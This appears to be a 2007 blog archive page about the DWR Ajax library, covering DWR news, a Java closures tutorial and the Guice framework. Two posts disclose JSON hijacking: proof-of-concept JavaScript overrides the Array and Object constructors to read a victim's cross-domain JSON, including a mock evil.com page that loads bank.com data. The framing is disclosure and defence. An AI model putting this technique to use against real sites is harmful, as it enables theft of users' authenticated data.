<< February 2007 | Home | April 2007 >>

A collection of articles on DWR

I wrote an article for Java.net a long time ago, when DWR was first out. The good news is that it's been updated with the Reverse Ajax features from DWR 2.0. It was written by Katherine Martin who I used to work with some time ago. Nice one Kath.

While we are on the subject of articles on DWR, some recent postings caught my attention:

'WebGuy' wrote about creating an email contact form using DWR and Scriptaculous.

Jose Noheda has blogged about using DWR a number of times: DWR with Dojo, and for creating tables, for validation: Part One and Part Two, With SpringAOP and Spring MVC and With Alfresco.

Finally Gtuhl wrote about a fairly in-depth article on Flex, comparing it to an HTML/JavaScript stack that includes DWR. There's a comment at the end of the article from James Ward (Flex Evangelist) who assumes that I wrote it. I can promise you that I didn't have anything to do with it, James.

Update: It appears that Gtuhl's real name is Joe. Sorry James - I got the wrong end of the stick from your addressing the comment "Hi Joe (right?)"

Tags :

DWR + OpenAjax Hub + TIBCO GI

I'm just back from the OpenAjax Alliance meeting, and AjaxWorld, where we did a demo of 4 Ajax toolkits working together.

The interesting thing about the demo is that there are 2 versions - a DWR version and a Lightstreamer version, both of which publish to identical TIBCO GI user interfaces through the OpenAjax Hub.

From the DWR side:

DWR screenshot

It doesn't look fancy - that's not the point:

DWR is publishing random events using Reverse Ajax to the OpenAjax Hub. The GI user interface has subscribed to the relevant messages in the Hub, and so the interface gets updated.

From the Lightstreamer side, the user interface is functionally identical:

Lightsteamer screenshot

The Lightstreamer version publishes a similar set of messages to the hub containing different data, but GI doesn't know that the thing causing the updates is different.

This way of working is nice for all the good pub/sub reasons - the components are more decoupled, testing and forward maintenance are easier, etc.

With a traditional request/response model, DWR (and Lightstreamer) would be calling GI routines to update. With the pub/sub model the distinction between client and server is gone because the UI publishes things it's interested in back to the hub. There's no reason the UI has to be GI even: any UI that groks the OpenAjax hub can play. We could even have several UI components listening to the same messages on one page.

The OpenAjax Hub is getting close to a 1.0 release, and I'm hoping that DWR will have a server-side version of the OpenAjax hub soon after. This would allow you to transparently co-ordinate remote hubs, and even allow publishing of messages from one browser to another.

I've put the DWR version live so anyone can have a play. It's not exciting, but you can see it in action. Just click on an "Industry Sector" to see messages published to that sector. See the DWR/OpenAjax/GI demo. I hope to move where it is hosted soon, and this is definitely something of a test, so don't be surprised if you get a 404. I hope we can get a demo of the Lightstreamer version live soon too. Update: The app is currently offline while it is moved to a new home.

Operator overloading in Javascript 2 and a potential monster CSRF hole

I noticed that Javascript 2 might include operator overloading, including (at least) the ability to overload the < and > operators.

Operator overloading is really useful if you want to write a Complex number class, and really annoying when someone else wants to flex a newly learn skill and uses it for something totally inappropriate. Since authors of Complex number classes are less common than inexperienced programmers, I'm not keen on the idea in general purpose languages.

However, opinions about programming languages aside, I think that operator overloading in Javascript could turn out to be a really bad idea for a totally different reason.

The ultimate CSRF hack, when Javascript 2 comes out, might just be to redefine operators to make XML (or even HTML) a valid language.

You could then steal fairly much steal any cross-domain data by doing a script-tag include on an XML/HTML data source.

I really hope someone has thought of this...

Update: I can see that I didn't explain myself very well, so a quick update might be needed.

If you can overload the < and > operators then it might be possible to do so in such a way that HTML or XML becomes a valid bit of Javascript. This is more likely to be possible with known schema like HTML.

So how would this create a huge security hole? Simply because it would allow an attacker to use a script tag to include some HTML and then read the data using a combination of overloaded < and > operators and the Array/Object data stealing methods.

Currently CSRF is restricted to write-only exploits, and the standard way of protecting yourself includes using authentication data in a hidden form field. If an attacker could read this data too, then the standard protection against CSRF would fail. Also you could use this to steal data from intranets and, I'm sure, there are many other options.

The real worry here is that the designers of the language will, in one spec, have to out-smart crackers for a long time to come. Once websites start using the feature, it can't be easily removed.

DWR News

2 nice bits of DWR from the past week:

I noted just last week that Chuk from Sun had released a DWR/Netbeans plugin, well it's been updated already with support for DWR in a Struts app.

Also, I spent some time on Monday at QCon with Simon Brown hacking on Pebble to add DWR support. We hope that the next version of Pebble will have support for inline commenting. Pebble rocks by the way, I've been hosting this blog on Pebble for several years and still really like it.

Emerging Java Technologies at QCon

I've just finished opening the "Java Emerging Technologies" track at QCon and spent some time talking about Closures. This is a summary of what I said:

You can look at closures as blocks of code that you can pass around for execution. You can look at them as syntax sugar for inner classes. I think there is some significant power behind full closures that you miss when just looking at them from those perspectives.

This is how you define an integer 'a', in Java:

int a;

This is how you define a function 'b', in a Java Interface:

String b(int p1, int p2);

This is how you define a closure 'c', according to the BGGA proposal:

{ int, int => String } c;

This defines a closure to which you pass 2 integers and it returns a String.

Another closure 'd' takes a String and returns nothing:

{ String => } d;

We can provide an implementation of this closure:

{ String => } d = { String m =>
    System.out.println(m);
};

And then execute the closure like this:

d.invoke("Hello, World!");

The standard example (standard because it is the one used in the spec) looks like this:

public static <T,throws E extends Exception>
T withLock(Lock lock, {=>T throws E} block) throws E {
    lock.lock();
    try {
        return block.invoke();
    } finally {
        lock.unlock();
    }
}

This example can be made much easier to understand if we ignore exceptions and return types for a while:

public static void withLock(Lock lock, {=>} block) {
    lock.lock();
    try {
        block.invoke();
    } finally {
        lock.unlock();
    }
}

This is a method that takes a lock object and a closure. It then surrounds the execution of the closure with lock and unlock commands.

Normally speaking you would use this as follows:

withLock(lock, {=> System.out.println("hello"); });

However there is a special rule in the closures spec that says: If the last parameter to a method is a closure then you can write the closure outside the parameter list like this:

withLock(lock) {
    System.out.println("hello");
}

It's likely that we would not have needed the synchronized keyword if closures had been around in the beginning. It's also likely that a large amount of Java could have been defined in terms of closures. For example:

public static <throws E extends Exception>
void If(boolean condition, {=> throws E} block) throws E {
    if (condition) {
        block.invoke();
    }
}

You would use this function like this (note the capital I on If:

If (a == b) {
  System.out.println("a equals b");
}

So closures as defined by the BGGA proposal allow you to do some fairly fundamental things with the Java language.

A Spring competitor from Google

I notice that Bob Lee, the same Bob Lee that famously "doesn't get Spring", has created a competitor to Spring IoC called Guice (pronounced Juice).

He says:

We're pleased to announce the open source release of Google's internal Java dependency injection framework Guice. Guice wholly embraces annotations and generics, thereby enabling you to wire together and test objects with less effort than ever before. Annotations finally free you from error-prone, refactoring-adverse string identifiers.

Links:

Update: Both Dion and Klaus (below) pointed out that I meant Spring IoC and not just Spring, which is a fair point.

Tags :

DWR/Netbeans Plug-in

I see that Chuck has got the DWR - Netbeans plug-in to initial-release status.

The plugin does the following for you:

  • The ability to add DWR to a new or existing web application
  • A dwr.xml editor, with 3 views: Creators, Converters and raw XML
  • Drag and drop of exported Java objects to JSP pages
Add DWR Screenshot

There are lots more screenshots on Chucks blog. Nice one chuck!, and thanks to Ludo for the heads-up.

Tags :

JSON is not as safe as people think it is, part 2

Yesterday, I blogged about how to steal data from JSON by overriding the Array constructor. Today, we break into Objects too.

Mark Goodwin submitted a non-deprecated syntax that uses the __defineSetter__ feature, which was a good start (Aside: does anyone else think that's ugly?). Over iChat he also invented a setTimeout tweak, and I ported it over to Object.

So now you can steal data from any JSON object:

<script type="text/javascript">
var obj;
function Object() {
  obj = this;
  // define a setter for the killme property
  this.__defineSetter__('killme', function(x) {
    for (key in obj) {
      if (key != 'killme') {
        alert('Data stolen from array: ' + key + '=' + obj[key]);
      }
    }
  });
  // call the setter when the JSON parse is done
  setTimeout("obj['killme']=2;", 0);
}
</script>
<button onclick="({ 'data':'wibble' })">Hack</button>

It's still not going to work anywhere but Mozilla, but now that's only because the JavaScript interpreters in the other browsers are out of date.

Tags :

JSON is not as safe as people think it is

I saw some discussion recently about using JSON for secured data, and I'm not sure that everyone understands the risks.

I believe that JSON is unsafe for anything but public data unless you are using unpredictable URLs.

There are 2 problems. CSRF (Cross Site Request Fogery) allows attackers to bypass cookie based authentication. I blogged about it a while ago. Wikipedia talks about it. CSRF allows you to invoke cookie protected actions on a remote server. It allows Mr. Evil to trick Mrs. Innocent into transferring money from her bank account into his.

Far less known perhaps, is the JSON/Array hack that allows a user to steal JSON data on Mozilla and any other platform with a modern JavaScript interpreter.

Update: It's not just Arrays - it you can steal data from objects too.

There are many ways to fetch data from a server, but the interesting cases here are: XHR, iframe and script-tags. Without knowledge of the JSON/Array hack it's easy to reason like this:

  • XHR: Browser cross-domain rules prevent the attacker from making the request in the first place.
  • iframe: The attacker can embed an iframe that points at some remote server (the bank in the above example) and ask to be sent some JSON, but browser cross-domain rules prevent scripts from the attackers domain from reading the reply, so the JSON is safe because it will never be eval()ed.
  • Script-Tags: The attacker can embed a script tag pointing at a remote server and the browser will effectively eval() the reply for you, however it throws away the response and since JSON is all response, you're safe.

It's the last of these arguments that is suspect. The dynamic nature of JavaScript will let you redefine how the browser evaluates the JSON.

Here's how it works, and you can follow along with any JavaScript console:

  1. Redefine the Array constructor:
    function Array() { alert("hi"); }
  2. Verify that this constructor is called when arrays are created:
    var a = [ 43 ];
  3. Use the new feature to manipulate the array:
    function Array() {
      this[1] = 50;
    }
    var a = [40];
    alert(a[0] + a[1]); // Gives 90
    

So we can call secure JSON data using CSRF with a script tag to by-pass the cookie authentication, and then use the JSON/Array hack to steal the JavaScript data from the browser as it processes the script-tag.

So we've redefined the Array constructor, how do we actually get the data out? The syntax below works in current versions of Firefox, although from my reading of the spec proposals, it's not a part of Javascript 2, and it appears to fail in IE/Safari/Opera.

Create a web page at evil.com, with a couple of script tags like this:

<script type='text/javascript'>
function Array() {
  var obj = this;
  var ind = 0;
  var getNext = function(x) {
    obj[ind++] setter = getNext;
    if (x) alert(Data stolen from array: " + x.toString());
  };
  this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>

As a demo, I've redefined the Array constructor in this page, so if you're on Firefox, you should get an alert dialog from the following script: . Update: This was killing Google Analytics, which we added later, so I've removed the array hack script from this page.

(If you're reading this in a blog aggregator, then the script above should have been stripped out, so it won't work. You need to try it on this page. If the script has not been stripped, get a new aggregator - your current one has a horrible security flaw.)

The long and short is that JSON is not safe in any system that uses cookies for authentication.

With DWR we use full JavaScript which is as vulnerable as JSON, however DWR's CSRF protection automatically uses the doubly-submitted cookie pattern to provide extra safety.

I'm by no means the first person to think of this; Jeremiah Grossman used it to break GMail over a year ago.

Update: If you are doing JSON 100% properly, then you will only have objects at the top level. Arrays, Strings, Numbers, etc will all be wrapped. A JSON object will then fail to eval() because the JavaScript interpreter will think it's looking at a block rather than an object. This goes a long way to protecting against these attacks, however it's still best to protect your secure data with un-predictable URLs.

DWR Website Update

The short version is: s/ltd.uk/org/g

For a long time Yahoo hated us having a .ltd.uk domain, and even though it's technically more official in the uk than a .co.uk domain even people in the UK thought it was weird, so when getahead.org became available I decided to change everything over to getahead.org. The new site has been live for a few days now and seemed to be working OK, so I've just 301 redirected everything from the getahead.ltd.uk site to getahead.org.

This could well mean that your blog aggregator considers that I've just reposted all my articles, apologies if it does.

If you notice anything wrong, please shout and I'll try to fix it.

Tags :

What is the hardest coding problem you ever tackled?

I've just completed my the hardest so far. It featured:

  • Multi threading.
  • More than one development language (Java/Javascript).
  • Undocumented browser 'features'. And by undocumented, I mean Google appears not to have found any pages, anywhere, on the unique properties on iframes in IE. My documentation was a 10min chat with Alex last Javapolis. I have no idea where he found it out.
  • More browser bugs than I want to remember.
  • A lack of decent debugging resources.

The good news is that reverse Ajax in DWR now has fast efficient streaming working with Firefox and IE (Safari soon) using Jetty continuations. Thanks for TIBCO for sponsoring me to get this working, and to "Java Concurrency in Practice" for reminding me that multi-threading is hard, it's not just me being thick.

What's your toughest coding problem?

Tags :